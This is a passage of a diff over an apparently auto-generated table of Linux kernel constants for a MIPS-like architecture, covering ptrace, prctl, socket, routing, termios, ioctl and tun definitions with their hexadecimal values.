-- PR_MPX_ENABLE_MANAGEMENT = 0x2b
-- PR_SET_CHILD_SUBREAPER = 0x24
-- PR_SET_DUMPABLE = 0x4
-- PR_SET_ENDIAN = 0x14
-- PR_SET_FPEMU = 0xa
-- PR_SET_FPEXC = 0xc
-- PR_SET_FP_MODE = 0x2d
-- PR_SET_KEEPCAPS = 0x8
-- PR_SET_MM = 0x23
-- PR_SET_MM_ARG_END = 0x9
-- PR_SET_MM_ARG_START = 0x8
-- PR_SET_MM_AUXV = 0xc
-- PR_SET_MM_BRK = 0x7
-- PR_SET_MM_END_CODE = 0x2
-- PR_SET_MM_END_DATA = 0x4
-- PR_SET_MM_ENV_END = 0xb
-- PR_SET_MM_ENV_START = 0xa
-- PR_SET_MM_EXE_FILE = 0xd
-- PR_SET_MM_MAP = 0xe
-- PR_SET_MM_MAP_SIZE = 0xf
-- PR_SET_MM_START_BRK = 0x6
-- PR_SET_MM_START_CODE = 0x1
-- PR_SET_MM_START_DATA = 0x3
-- PR_SET_MM_START_STACK = 0x5
-- PR_SET_NAME = 0xf
-- PR_SET_NO_NEW_PRIVS = 0x26
-- PR_SET_PDEATHSIG = 0x1
-- PR_SET_PTRACER = 0x59616d61
-- PR_SET_PTRACER_ANY = -0x1
-- PR_SET_SECCOMP = 0x16
-- PR_SET_SECUREBITS = 0x1c
-- PR_SET_THP_DISABLE = 0x29
-- PR_SET_TIMERSLACK = 0x1d
-- PR_SET_TIMING = 0xe
-- PR_SET_TSC = 0x1a
-- PR_SET_UNALIGN = 0x6
-- PR_TASK_PERF_EVENTS_DISABLE = 0x1f
-- PR_TASK_PERF_EVENTS_ENABLE = 0x20
-- PR_TIMING_STATISTICAL = 0x0
-- PR_TIMING_TIMESTAMP = 0x1
-- PR_TSC_ENABLE = 0x1
-- PR_TSC_SIGSEGV = 0x2
-- PR_UNALIGN_NOPRINT = 0x1
-- PR_UNALIGN_SIGBUS = 0x2
-- PTRACE_ATTACH = 0x10
-- PTRACE_CONT = 0x7
-- PTRACE_DETACH = 0x11
-- PTRACE_EVENT_CLONE = 0x3
-- PTRACE_EVENT_EXEC = 0x4
-- PTRACE_EVENT_EXIT = 0x6
-- PTRACE_EVENT_FORK = 0x1
-- PTRACE_EVENT_SECCOMP = 0x7
-- PTRACE_EVENT_STOP = 0x80
-- PTRACE_EVENT_VFORK = 0x2
-- PTRACE_EVENT_VFORK_DONE = 0x5
-- PTRACE_GETEVENTMSG = 0x4201
-- PTRACE_GETFPREGS = 0xe
-- PTRACE_GETREGS = 0xc
-- PTRACE_GETREGSET = 0x4204
-- PTRACE_GETSIGINFO = 0x4202
-- PTRACE_GETSIGMASK = 0x420a
-- PTRACE_GET_THREAD_AREA = 0x19
-- PTRACE_GET_THREAD_AREA_3264 = 0xc4
-- PTRACE_GET_WATCH_REGS = 0xd0
-- PTRACE_INTERRUPT = 0x4207
-- PTRACE_KILL = 0x8
-- PTRACE_LISTEN = 0x4208
-- PTRACE_OLDSETOPTIONS = 0x15
-- PTRACE_O_EXITKILL = 0x100000
-- PTRACE_O_MASK = 0x3000ff
-- PTRACE_O_SUSPEND_SECCOMP = 0x200000
-- PTRACE_O_TRACECLONE = 0x8
-- PTRACE_O_TRACEEXEC = 0x10
-- PTRACE_O_TRACEEXIT = 0x40
-- PTRACE_O_TRACEFORK = 0x2
-- PTRACE_O_TRACESECCOMP = 0x80
-- PTRACE_O_TRACESYSGOOD = 0x1
-- PTRACE_O_TRACEVFORK = 0x4
-- PTRACE_O_TRACEVFORKDONE = 0x20
-- PTRACE_PEEKDATA = 0x2
-- PTRACE_PEEKDATA_3264 = 0xc1
-- PTRACE_PEEKSIGINFO = 0x4209
-- PTRACE_PEEKSIGINFO_SHARED = 0x1
-- PTRACE_PEEKTEXT = 0x1
-- PTRACE_PEEKTEXT_3264 = 0xc0
-- PTRACE_PEEKUSR = 0x3
-- PTRACE_POKEDATA = 0x5
-- PTRACE_POKEDATA_3264 = 0xc3
-- PTRACE_POKETEXT = 0x4
-- PTRACE_POKETEXT_3264 = 0xc2
-- PTRACE_POKEUSR = 0x6
-- PTRACE_SECCOMP_GET_FILTER = 0x420c
-- PTRACE_SEIZE = 0x4206
-- PTRACE_SETFPREGS = 0xf
-- PTRACE_SETOPTIONS = 0x4200
-- PTRACE_SETREGS = 0xd
-- PTRACE_SETREGSET = 0x4205
-- PTRACE_SETSIGINFO = 0x4203
-- PTRACE_SETSIGMASK = 0x420b
-- PTRACE_SET_THREAD_AREA = 0x1a
-- PTRACE_SET_WATCH_REGS = 0xd1
-- PTRACE_SINGLESTEP = 0x9
-- PTRACE_SYSCALL = 0x18
-- PTRACE_TRACEME = 0x0
-- RLIMIT_AS = 0x6
-- RLIMIT_CORE = 0x4
-- RLIMIT_CPU = 0x0
-- RLIMIT_DATA = 0x2
-- RLIMIT_FSIZE = 0x1
-- RLIMIT_LOCKS = 0xa
-- RLIMIT_MEMLOCK = 0x9
-- RLIMIT_MSGQUEUE = 0xc
-- RLIMIT_NICE = 0xd
-- RLIMIT_NOFILE = 0x5
-- RLIMIT_NPROC = 0x8
-- RLIMIT_RSS = 0x7
-- RLIMIT_RTPRIO = 0xe
-- RLIMIT_RTTIME = 0xf
-- RLIMIT_SIGPENDING = 0xb
-- RLIMIT_STACK = 0x3
-- RLIM_INFINITY = -0x1
-- RTAX_ADVMSS = 0x8
-- RTAX_CC_ALGO = 0x10
-- RTAX_CWND = 0x7
-- RTAX_FEATURES = 0xc
-- RTAX_FEATURE_ALLFRAG = 0x8
-- RTAX_FEATURE_ECN = 0x1
-- RTAX_FEATURE_MASK = 0xf
-- RTAX_FEATURE_SACK = 0x2
-- RTAX_FEATURE_TIMESTAMP = 0x4
-- RTAX_HOPLIMIT = 0xa
-- RTAX_INITCWND = 0xb
-- RTAX_INITRWND = 0xe
-- RTAX_LOCK = 0x1
-- RTAX_MAX = 0x10
-- RTAX_MTU = 0x2
-- RTAX_QUICKACK = 0xf
-- RTAX_REORDERING = 0x9
-- RTAX_RTO_MIN = 0xd
-- RTAX_RTT = 0x4
-- RTAX_RTTVAR = 0x5
-- RTAX_SSTHRESH = 0x6
-- RTAX_UNSPEC = 0x0
-- RTAX_WINDOW = 0x3
-- RTA_ALIGNTO = 0x4
-- RTA_MAX = 0x19
-- RTCF_DIRECTSRC = 0x4000000
-- RTCF_DOREDIRECT = 0x1000000
-- RTCF_LOG = 0x2000000
-- RTCF_MASQ = 0x400000
-- RTCF_NAT = 0x800000
-- RTCF_VALVE = 0x200000
-- RTF_ADDRCLASSMASK = 0xf8000000
-- RTF_ADDRCONF = 0x40000
-- RTF_ALLONLINK = 0x20000
-- RTF_BROADCAST = 0x10000000
-- RTF_CACHE = 0x1000000
-- RTF_DEFAULT = 0x10000
-- RTF_DYNAMIC = 0x10
-- RTF_FLOW = 0x2000000
-- RTF_GATEWAY = 0x2
-- RTF_HOST = 0x4
-- RTF_INTERFACE = 0x40000000
-- RTF_IRTT = 0x100
-- RTF_LINKRT = 0x100000
-- RTF_LOCAL = 0x80000000
-- RTF_MODIFIED = 0x20
-- RTF_MSS = 0x40
-- RTF_MTU = 0x40
-- RTF_MULTICAST = 0x20000000
-- RTF_NAT = 0x8000000
-- RTF_NOFORWARD = 0x1000
-- RTF_NONEXTHOP = 0x200000
-- RTF_NOPMTUDISC = 0x4000
-- RTF_POLICY = 0x4000000
-- RTF_REINSTATE = 0x8
-- RTF_REJECT = 0x200
-- RTF_STATIC = 0x400
-- RTF_THROW = 0x2000
-- RTF_UP = 0x1
-- RTF_WINDOW = 0x80
-- RTF_XRESOLVE = 0x800
-- RTM_BASE = 0x10
-- RTM_DELACTION = 0x31
-- RTM_DELADDR = 0x15
-- RTM_DELADDRLABEL = 0x49
-- RTM_DELLINK = 0x11
-- RTM_DELMDB = 0x55
-- RTM_DELNEIGH = 0x1d
-- RTM_DELNSID = 0x59
-- RTM_DELQDISC = 0x25
-- RTM_DELROUTE = 0x19
-- RTM_DELRULE = 0x21
-- RTM_DELTCLASS = 0x29
-- RTM_DELTFILTER = 0x2d
-- RTM_F_CLONED = 0x200
-- RTM_F_EQUALIZE = 0x400
-- RTM_F_LOOKUP_TABLE = 0x1000
-- RTM_F_NOTIFY = 0x100
-- RTM_F_PREFIX = 0x800
-- RTM_GETACTION = 0x32
-- RTM_GETADDR = 0x16
-- RTM_GETADDRLABEL = 0x4a
-- RTM_GETANYCAST = 0x3e
-- RTM_GETDCB = 0x4e
-- RTM_GETLINK = 0x12
-- RTM_GETMDB = 0x56
-- RTM_GETMULTICAST = 0x3a
-- RTM_GETNEIGH = 0x1e
-- RTM_GETNEIGHTBL = 0x42
-- RTM_GETNETCONF = 0x52
-- RTM_GETNSID = 0x5a
-- RTM_GETQDISC = 0x26
-- RTM_GETROUTE = 0x1a
-- RTM_GETRULE = 0x22
-- RTM_GETSTATS = 0x5e
-- RTM_GETTCLASS = 0x2a
-- RTM_GETTFILTER = 0x2e
-- RTM_MAX = 0x5f
-- RTM_NEWACTION = 0x30
-- RTM_NEWADDR = 0x14
-- RTM_NEWADDRLABEL = 0x48
-- RTM_NEWLINK = 0x10
-- RTM_NEWMDB = 0x54
-- RTM_NEWNDUSEROPT = 0x44
-- RTM_NEWNEIGH = 0x1c
-- RTM_NEWNEIGHTBL = 0x40
-- RTM_NEWNETCONF = 0x50
-- RTM_NEWNSID = 0x58
-- RTM_NEWPREFIX = 0x34
-- RTM_NEWQDISC = 0x24
-- RTM_NEWROUTE = 0x18
-- RTM_NEWRULE = 0x20
-- RTM_NEWSTATS = 0x5c
-- RTM_NEWTCLASS = 0x28
-- RTM_NEWTFILTER = 0x2c
-- RTM_NR_FAMILIES = 0x14
-- RTM_NR_MSGTYPES = 0x50
-- RTM_SETDCB = 0x4f
-- RTM_SETLINK = 0x13
-- RTM_SETNEIGHTBL = 0x43
-- RTNH_ALIGNTO = 0x4
-- RTNH_COMPARE_MASK = 0x19
-- RTNH_F_DEAD = 0x1
-- RTNH_F_LINKDOWN = 0x10
-- RTNH_F_OFFLOAD = 0x8
-- RTNH_F_ONLINK = 0x4
-- RTNH_F_PERVASIVE = 0x2
-- RTN_MAX = 0xb
-- RTPROT_BABEL = 0x2a
-- RTPROT_BIRD = 0xc
-- RTPROT_BOOT = 0x3
-- RTPROT_DHCP = 0x10
-- RTPROT_DNROUTED = 0xd
-- RTPROT_GATED = 0x8
-- RTPROT_KERNEL = 0x2
-- RTPROT_MROUTED = 0x11
-- RTPROT_MRT = 0xa
-- RTPROT_NTK = 0xf
-- RTPROT_RA = 0x9
-- RTPROT_REDIRECT = 0x1
-- RTPROT_STATIC = 0x4
-- RTPROT_UNSPEC = 0x0
-- RTPROT_XORP = 0xe
-- RTPROT_ZEBRA = 0xb
-- RT_CLASS_DEFAULT = 0xfd
-- RT_CLASS_LOCAL = 0xff
-- RT_CLASS_MAIN = 0xfe
-- RT_CLASS_MAX = 0xff
-- RT_CLASS_UNSPEC = 0x0
-- RUSAGE_CHILDREN = -0x1
-- RUSAGE_SELF = 0x0
-- RUSAGE_THREAD = 0x1
-- SCM_CREDENTIALS = 0x2
-- SCM_RIGHTS = 0x1
-- SCM_TIMESTAMP = 0x1d
-- SCM_TIMESTAMPING = 0x25
-- SCM_TIMESTAMPING_OPT_STATS = 0x36
-- SCM_TIMESTAMPNS = 0x23
-- SCM_WIFI_STATUS = 0x29
-- SECCOMP_MODE_DISABLED = 0x0
-- SECCOMP_MODE_FILTER = 0x2
-- SECCOMP_MODE_STRICT = 0x1
-- SHUT_RD = 0x0
-- SHUT_RDWR = 0x2
-- SHUT_WR = 0x1
-- SIOCADDDLCI = 0x8980
-- SIOCADDMULTI = 0x8931
-- SIOCADDRT = 0x890b
-- SIOCATMARK = 0x40047307
-- SIOCBONDCHANGEACTIVE = 0x8995
-- SIOCBONDENSLAVE = 0x8990
-- SIOCBONDINFOQUERY = 0x8994
-- SIOCBONDRELEASE = 0x8991
-- SIOCBONDSETHWADDR = 0x8992
-- SIOCBONDSLAVEINFOQUERY = 0x8993
-- SIOCBRADDBR = 0x89a0
-- SIOCBRADDIF = 0x89a2
-- SIOCBRDELBR = 0x89a1
-- SIOCBRDELIF = 0x89a3
-- SIOCDARP = 0x8953
-- SIOCDELDLCI = 0x8981
-- SIOCDELMULTI = 0x8932
-- SIOCDELRT = 0x890c
-- SIOCDEVPRIVATE = 0x89f0
-- SIOCDIFADDR = 0x8936
-- SIOCDRARP = 0x8960
-- SIOCETHTOOL = 0x8946
-- SIOCGARP = 0x8954
-- SIOCGHWTSTAMP = 0x89b1
-- SIOCGIFADDR = 0x8915
-- SIOCGIFBR = 0x8940
-- SIOCGIFBRDADDR = 0x8919
-- SIOCGIFCONF = 0x8912
-- SIOCGIFCOUNT = 0x8938
-- SIOCGIFDSTADDR = 0x8917
-- SIOCGIFENCAP = 0x8925
-- SIOCGIFFLAGS = 0x8913
-- SIOCGIFHWADDR = 0x8927
-- SIOCGIFINDEX = 0x8933
-- SIOCGIFMAP = 0x8970
-- SIOCGIFMEM = 0x891f
-- SIOCGIFMETRIC = 0x891d
-- SIOCGIFMTU = 0x8921
-- SIOCGIFNAME = 0x8910
-- SIOCGIFNETMASK = 0x891b
-- SIOCGIFPFLAGS = 0x8935
-- SIOCGIFSLAVE = 0x8929
-- SIOCGIFTXQLEN = 0x8942
-- SIOCGIFVLAN = 0x8982
-- SIOCGMIIPHY = 0x8947
-- SIOCGMIIREG = 0x8948
-- SIOCGPGRP = 0x40047309
-- SIOCGRARP = 0x8961
-- SIOCGSKNS = 0x894c
-- SIOCGSTAMP = 0x8906
-- SIOCGSTAMPNS = 0x8907
-- SIOCINQ = 0x467f
-- SIOCOUTQ = 0x7472
-- SIOCOUTQNSD = 0x894b
-- SIOCPROTOPRIVATE = 0x89e0
-- SIOCRTMSG = 0x890d
-- SIOCSARP = 0x8955
-- SIOCSHWTSTAMP = 0x89b0
-- SIOCSIFADDR = 0x8916
-- SIOCSIFBR = 0x8941
-- SIOCSIFBRDADDR = 0x891a
-- SIOCSIFDSTADDR = 0x8918
-- SIOCSIFENCAP = 0x8926
-- SIOCSIFFLAGS = 0x8914
-- SIOCSIFHWADDR = 0x8924
-- SIOCSIFHWBROADCAST = 0x8937
-- SIOCSIFLINK = 0x8911
-- SIOCSIFMAP = 0x8971
-- SIOCSIFMEM = 0x8920
-- SIOCSIFMETRIC = 0x891e
-- SIOCSIFMTU = 0x8922
-- SIOCSIFNAME = 0x8923
-- SIOCSIFNETMASK = 0x891c
-- SIOCSIFPFLAGS = 0x8934
-- SIOCSIFSLAVE = 0x8930
-- SIOCSIFTXQLEN = 0x8943
-- SIOCSIFVLAN = 0x8983
-- SIOCSMIIREG = 0x8949
-- SIOCSPGRP = 0x80047308
-- SIOCSRARP = 0x8962
-- SIOCWANDEV = 0x894a
-- SOCK_CLOEXEC = 0x80000
-- SOCK_DCCP = 0x6
-- SOCK_DGRAM = 0x1
-- SOCK_IOC_TYPE = 0x89
-- SOCK_NONBLOCK = 0x80
-- SOCK_PACKET = 0xa
-- SOCK_RAW = 0x3
-- SOCK_RDM = 0x4
-- SOCK_SEQPACKET = 0x5
-- SOCK_STREAM = 0x2
-- SOL_AAL = 0x109
-- SOL_ALG = 0x117
-- SOL_ATM = 0x108
-- SOL_CAIF = 0x116
-- SOL_CAN_BASE = 0x64
-- SOL_DCCP = 0x10d
-- SOL_DECNET = 0x105
-- SOL_ICMPV6 = 0x3a
-- SOL_IP = 0x0
-- SOL_IPV6 = 0x29
-- SOL_IRDA = 0x10a
-- SOL_IUCV = 0x115
-- SOL_KCM = 0x119
-- SOL_LLC = 0x10c
-- SOL_NETBEUI = 0x10b
-- SOL_NETLINK = 0x10e
-- SOL_NFC = 0x118
-- SOL_PACKET = 0x107
-- SOL_PNPIPE = 0x113
-- SOL_PPPOL2TP = 0x111
-- SOL_RAW = 0xff
-- SOL_RDS = 0x114
-- SOL_RXRPC = 0x110
-- SOL_SOCKET = 0xffff
-- SOL_TCP = 0x6
-- SOL_TIPC = 0x10f
-- SOL_X25 = 0x106
-- SOMAXCONN = 0x80
-- SO_ACCEPTCONN = 0x1009
-- SO_ATTACH_BPF = 0x32
-- SO_ATTACH_FILTER = 0x1a
-- SO_ATTACH_REUSEPORT_CBPF = 0x33
-- SO_ATTACH_REUSEPORT_EBPF = 0x34
-- SO_BINDTODEVICE = 0x19
-- SO_BPF_EXTENSIONS = 0x30
-- SO_BROADCAST = 0x20
-- SO_BSDCOMPAT = 0xe
-- SO_BUSY_POLL = 0x2e
-- SO_CNX_ADVICE = 0x35
-- SO_DEBUG = 0x1
-- SO_DETACH_BPF = 0x1b
-- SO_DETACH_FILTER = 0x1b
-- SO_DOMAIN = 0x1029
-- SO_DONTROUTE = 0x10
-- SO_ERROR = 0x1007
-- SO_GET_FILTER = 0x1a
-- SO_INCOMING_CPU = 0x31
-- SO_KEEPALIVE = 0x8
-- SO_LINGER = 0x80
-- SO_LOCK_FILTER = 0x2c
-- SO_MARK = 0x24
-- SO_MAX_PACING_RATE = 0x2f
-- SO_NOFCS = 0x2b
-- SO_NO_CHECK = 0xb
-- SO_OOBINLINE = 0x100
-- SO_PASSCRED = 0x11
-- SO_PASSSEC = 0x22
-- SO_PEEK_OFF = 0x2a
-- SO_PEERCRED = 0x12
-- SO_PEERNAME = 0x1c
-- SO_PEERSEC = 0x1e
-- SO_PRIORITY = 0xc
-- SO_PROTOCOL = 0x1028
-- SO_RCVBUF = 0x1002
-- SO_RCVBUFFORCE = 0x21
-- SO_RCVLOWAT = 0x1004
-- SO_RCVTIMEO = 0x1006
-- SO_REUSEADDR = 0x4
-- SO_REUSEPORT = 0x200
-- SO_RXQ_OVFL = 0x28
-- SO_SECURITY_AUTHENTICATION = 0x16
-- SO_SECURITY_ENCRYPTION_NETWORK = 0x18
-- SO_SECURITY_ENCRYPTION_TRANSPORT = 0x17
-- SO_SELECT_ERR_QUEUE = 0x2d
-- SO_SNDBUF = 0x1001
-- SO_SNDBUFFORCE = 0x1f
-- SO_SNDLOWAT = 0x1003
-- SO_SNDTIMEO = 0x1005
-- SO_STYLE = 0x1008
-- SO_TIMESTAMP = 0x1d
-- SO_TIMESTAMPING = 0x25
-- SO_TIMESTAMPNS = 0x23
-- SO_TYPE = 0x1008
-- SO_VM_SOCKETS_BUFFER_MAX_SIZE = 0x2
-- SO_VM_SOCKETS_BUFFER_MIN_SIZE = 0x1
-- SO_VM_SOCKETS_BUFFER_SIZE = 0x0
-- SO_VM_SOCKETS_CONNECT_TIMEOUT = 0x6
-- SO_VM_SOCKETS_NONBLOCK_TXRX = 0x7
-- SO_VM_SOCKETS_PEER_HOST_VM_ID = 0x3
-- SO_VM_SOCKETS_TRUSTED = 0x5
-- SO_WIFI_STATUS = 0x29
-- SPLICE_F_GIFT = 0x8
-- SPLICE_F_MORE = 0x4
-- SPLICE_F_MOVE = 0x1
-- SPLICE_F_NONBLOCK = 0x2
-- S_BLKSIZE = 0x200
-- S_IEXEC = 0x40
-- S_IFBLK = 0x6000
-- S_IFCHR = 0x2000
-- S_IFDIR = 0x4000
-- S_IFIFO = 0x1000
-- S_IFLNK = 0xa000
-- S_IFMT = 0xf000
-- S_IFREG = 0x8000
-- S_IFSOCK = 0xc000
-- S_IREAD = 0x100
-- S_IRGRP = 0x20
-- S_IROTH = 0x4
-- S_IRUSR = 0x100
-- S_IRWXG = 0x38
-- S_IRWXO = 0x7
-- S_IRWXU = 0x1c0
-- S_ISGID = 0x400
-- S_ISUID = 0x800
-- S_ISVTX = 0x200
-- S_IWGRP = 0x10
-- S_IWOTH = 0x2
-- S_IWRITE = 0x80
-- S_IWUSR = 0x80
-- S_IXGRP = 0x8
-- S_IXOTH = 0x1
-- S_IXUSR = 0x40
-- TAB0 = 0x0
-- TAB1 = 0x800
-- TAB2 = 0x1000
-- TAB3 = 0x1800
-- TABDLY = 0x1800
-- TASKSTATS_CMD_ATTR_MAX = 0x4
-- TASKSTATS_CMD_MAX = 0x2
-- TASKSTATS_GENL_NAME = "TASKSTATS"
-- TASKSTATS_GENL_VERSION = 0x1
-- TASKSTATS_TYPE_MAX = 0x6
-- TASKSTATS_VERSION = 0x8
-- TCFLSH = 0x5407
-- TCGETA = 0x5401
-- TCGETS = 0x540d
-- TCGETS2 = 0x4030542a
-- TCIFLUSH = 0x0
-- TCIOFF = 0x2
-- TCIOFLUSH = 0x2
-- TCION = 0x3
-- TCOFLUSH = 0x1
-- TCOOFF = 0x0
-- TCOON = 0x1
-- TCP_CC_INFO = 0x1a
-- TCP_CONGESTION = 0xd
-- TCP_COOKIE_IN_ALWAYS = 0x1
-- TCP_COOKIE_MAX = 0x10
-- TCP_COOKIE_MIN = 0x8
-- TCP_COOKIE_OUT_NEVER = 0x2
-- TCP_COOKIE_PAIR_SIZE = 0x20
-- TCP_COOKIE_TRANSACTIONS = 0xf
-- TCP_CORK = 0x3
-- TCP_DEFER_ACCEPT = 0x9
-- TCP_FASTOPEN = 0x17
-- TCP_INFO = 0xb
-- TCP_KEEPCNT = 0x6
-- TCP_KEEPIDLE = 0x4
-- TCP_KEEPINTVL = 0x5
-- TCP_LINGER2 = 0x8
-- TCP_MAXSEG = 0x2
-- TCP_MAXWIN = 0xffff
-- TCP_MAX_WINSHIFT = 0xe
-- TCP_MD5SIG = 0xe
-- TCP_MD5SIG_MAXKEYLEN = 0x50
-- TCP_MSS = 0x200
-- TCP_MSS_DEFAULT = 0x218
-- TCP_MSS_DESIRED = 0x4c4
-- TCP_NODELAY = 0x1
-- TCP_NOTSENT_LOWAT = 0x19
-- TCP_QUEUE_SEQ = 0x15
-- TCP_QUICKACK = 0xc
-- TCP_REPAIR = 0x13
-- TCP_REPAIR_OPTIONS = 0x16
-- TCP_REPAIR_QUEUE = 0x14
-- TCP_REPAIR_WINDOW = 0x1d
-- TCP_SAVED_SYN = 0x1c
-- TCP_SAVE_SYN = 0x1b
-- TCP_SYNCNT = 0x7
-- TCP_S_DATA_IN = 0x4
-- TCP_S_DATA_OUT = 0x8
-- TCP_THIN_DUPACK = 0x11
-- TCP_THIN_LINEAR_TIMEOUTS = 0x10
-- TCP_TIMESTAMP = 0x18
-- TCP_USER_TIMEOUT = 0x12
-- TCP_WINDOW_CLAMP = 0xa
-- TCSAFLUSH = 0x5410
-- TCSBRK = 0x5405
-- TCSBRKP = 0x5486
-- TCSETA = 0x5402
-- TCSETAF = 0x5404
-- TCSETAW = 0x5403
-- TCSETS = 0x540e
-- TCSETS2 = 0x8030542b
-- TCSETSF = 0x5410
-- TCSETSF2 = 0x8030542d
-- TCSETSW = 0x540f
-- TCSETSW2 = 0x8030542c
-- TCXONC = 0x5406
-- TIOCCBRK = 0x5428
-- TIOCCONS = 0x80047478
-- TIOCEXCL = 0x740d
-- TIOCGDEV = 0x40045432
-- TIOCGETD = 0x7400
-- TIOCGETP = 0x7408
-- TIOCGEXCL = 0x40045440
-- TIOCGICOUNT = 0x5492
-- TIOCGLCKTRMIOS = 0x548b
-- TIOCGLTC = 0x7474
-- TIOCGPGRP = 0x40047477
-- TIOCGPKT = 0x40045438
-- TIOCGPTLCK = 0x40045439
-- TIOCGPTN = 0x40045430
-- TIOCGRS485 = 0x4020542e
-- TIOCGSERIAL = 0x5484
-- TIOCGSID = 0x7416
-- TIOCGSOFTCAR = 0x5481
-- TIOCGWINSZ = 0x40087468
-- TIOCINQ = 0x467f
-- TIOCLINUX = 0x5483
-- TIOCMBIC = 0x741c
-- TIOCMBIS = 0x741b
-- TIOCMGET = 0x741d
-- TIOCMIWAIT = 0x5491
-- TIOCMSET = 0x741a
-- TIOCM_CAR = 0x100
-- TIOCM_CD = 0x100
-- TIOCM_CTS = 0x40
-- TIOCM_DSR = 0x400
-- TIOCM_DTR = 0x2
-- TIOCM_LE = 0x1
-- TIOCM_RI = 0x200
-- TIOCM_RNG = 0x200
-- TIOCM_RTS = 0x4
-- TIOCM_SR = 0x20
-- TIOCM_ST = 0x10
-- TIOCNOTTY = 0x5471
-- TIOCNXCL = 0x740e
-- TIOCOUTQ = 0x7472
-- TIOCPKT = 0x5470
-- TIOCPKT_DATA = 0x0
-- TIOCPKT_DOSTOP = 0x20
-- TIOCPKT_FLUSHREAD = 0x1
-- TIOCPKT_FLUSHWRITE = 0x2
-- TIOCPKT_IOCTL = 0x40
-- TIOCPKT_NOSTOP = 0x10
-- TIOCPKT_START = 0x8
-- TIOCPKT_STOP = 0x4
-- TIOCSBRK = 0x5427
-- TIOCSCTTY = 0x5480
-- TIOCSERCONFIG = 0x5488
-- TIOCSERGETLSR = 0x548e
-- TIOCSERGETMULTI = 0x548f
-- TIOCSERGSTRUCT = 0x548d
-- TIOCSERGWILD = 0x5489
-- TIOCSERSETMULTI = 0x5490
-- TIOCSERSWILD = 0x548a
-- TIOCSER_TEMT = 0x1
-- TIOCSETD = 0x7401
-- TIOCSETN = 0x740a
-- TIOCSETP = 0x7409
-- TIOCSIG = 0x80045436
-- TIOCSLCKTRMIOS = 0x548c
-- TIOCSLTC = 0x7475
-- TIOCSPGRP = 0x80047476
-- TIOCSPTLCK = 0x80045431
-- TIOCSRS485 = 0xc020542f
-- TIOCSSERIAL = 0x5485
-- TIOCSSOFTCAR = 0x5482
-- TIOCSTI = 0x5472
-- TIOCSWINSZ = 0x80087467
-- TIOCVHANGUP = 0x5437
-- TOSTOP = 0x8000
-- TS_COMM_LEN = 0x20
-- TUNATTACHFILTER = 0x801054d5
-- TUNDETACHFILTER = 0x801054d6
-- TUNGETFEATURES = 0x400454cf
-- TUNGETFILTER = 0x401054db
-- TUNGETIFF = 0x400454d2
-- TUNGETSNDBUF = 0x400454d3
-- TUNGETVNETBE = 0x400454df
-- TUNGETVNETHDRSZ = 0x400454d7
-- TUNGETVNETLE = 0x400454dd
-- TUNSETDEBUG = 0x800454c9
-- TUNSETGROUP = 0x800454ce
-- TUNSETIFF = 0x800454ca
-- TUNSETIFINDEX = 0x800454da
-- TUNSETLINK = 0x800454cd
-- TUNSETNOCSUM = 0x800454c8
-- TUNSETOFFLOAD = 0x800454d0
-- TUNSETOWNER = 0x800454cc
-- TUNSETPERSIST = 0x800454cb
-- TUNSETQUEUE = 0x800454d9
-- TUNSETSNDBUF = 0x800454d4
-- TUNSETTXFILTER = 0x800454d1
-- TUNSETVNETBE = 0x800454de
-- TUNSETVNETHDRSZ = 0x800454d8
-- TUNSETVNETLE = 0x800454dc
-- UMOUNT_NOFOLLOW = 0x8
-- VDISCARD = 0xd
-- VEOF = 0x10
-- VEOL = 0x11
-- VEOL2 = 0x6
-- VERASE = 0x2
-- VINTR = 0x0
-- VKILL = 0x3
-- VLNEXT = 0xf
-- VMADDR_CID_ANY = 0xffffffff
-- VMADDR_CID_HOST = 0x2
-- VMADDR_CID_HYPERVISOR = 0x0
-- VMADDR_CID_RESERVED = 0x1
-- VMADDR_PORT_ANY = 0xffffffff
-- VMIN = 0x4
-- VM_SOCKETS_INVALID_VERSION = 0xffffffff
-- VQUIT = 0x1
-- VREPRINT = 0xc
-- VSTART = 0x8
-- VSTOP = 0x9
-- VSUSP = 0xa
-- VSWTC = 0x7
-- VSWTCH = 0x7
-- VT0 = 0x0
-- VT1 = 0x4000
-- VTDLY = 0x4000
-- VTIME = 0x5
-- VWERASE = 0xe
-- WALL = 0x40000000
-- WCLONE = 0x80000000
-- WCONTINUED = 0x8
-- WEXITED = 0x4
-- WNOHANG = 0x1
-- WNOTHREAD = 0x20000000
-- WNOWAIT = 0x1000000
-- WORDSIZE = 0x40
-- WSTOPPED = 0x2
-- WUNTRACED = 0x2
-- XATTR_CREATE = 0x1
-- XATTR_REPLACE = 0x2
-- XCASE = 0x4
-- XTABS = 0x1800
-+ B1000000 = 0x1008
-+ B115200 = 0x1002
-+ B1152000 = 0x1009
-+ B1500000 = 0x100a
-+ B2000000 = 0x100b
-+ B230400 = 0x1003
-+ B2500000 = 0x100c
-+ B3000000 = 0x100d
-+ B3500000 = 0x100e
-+ B4000000 = 0x100f
-+ B460800 = 0x1004
-+ B500000 = 0x1005
-+ B57600 = 0x1001
-+ B576000 = 0x1006
-+ B921600 = 0x1007
-+ BLKBSZGET = 0x40081270
-+ BLKBSZSET = 0x80081271
-+ BLKFLSBUF = 0x20001261
-+ BLKFRAGET = 0x20001265
-+ BLKFRASET = 0x20001264
-+ BLKGETSIZE = 0x20001260
-+ BLKGETSIZE64 = 0x40081272
-+ BLKPBSZGET = 0x2000127b
-+ BLKRAGET = 0x20001263
-+ BLKRASET = 0x20001262
-+ BLKROGET = 0x2000125e
-+ BLKROSET = 0x2000125d
-+ BLKRRPART = 0x2000125f
-+ BLKSECTGET = 0x20001267
-+ BLKSECTSET = 0x20001266
-+ BLKSSZGET = 0x20001268
-+ BOTHER = 0x1000
-+ BS1 = 0x2000
-+ BSDLY = 0x2000
-+ CBAUD = 0x100f
-+ CBAUDEX = 0x1000
-+ CIBAUD = 0x100f0000
-+ CLOCAL = 0x800
-+ CR1 = 0x200
-+ CR2 = 0x400
-+ CR3 = 0x600
-+ CRDLY = 0x600
-+ CREAD = 0x80
-+ CS6 = 0x10
-+ CS7 = 0x20
-+ CS8 = 0x30
-+ CSIZE = 0x30
-+ CSTOPB = 0x40
-+ ECHOCTL = 0x200
-+ ECHOE = 0x10
-+ ECHOK = 0x20
-+ ECHOKE = 0x800
-+ ECHONL = 0x40
-+ ECHOPRT = 0x400
-+ EFD_CLOEXEC = 0x80000
-+ EFD_NONBLOCK = 0x80
-+ EPOLL_CLOEXEC = 0x80000
-+ EXTPROC = 0x10000
-+ FF1 = 0x8000
-+ FFDLY = 0x8000
-+ FLUSHO = 0x2000
-+ FS_IOC_ENABLE_VERITY = 0x80806685
-+ FS_IOC_GETFLAGS = 0x40086601
